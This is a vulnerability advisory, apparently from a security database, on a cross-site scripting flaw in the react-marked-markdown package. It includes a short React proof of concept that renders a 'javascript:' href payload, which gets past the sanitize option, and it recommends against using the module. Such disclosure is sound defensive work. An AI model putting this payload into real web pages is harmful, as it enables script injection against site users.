Needlessly Promiscuous, Modularize!
Severity: high

Cross-Site Scripting

react-marked-markdown

Overview

All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown

Proof of concept:

import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'

ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)

Remediation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.

Have content suggestions? Send them to [email protected]

Advisory timeline

  1. published

    Advisory published
    May 17th, 2018
  2. reported

    May 17th, 2018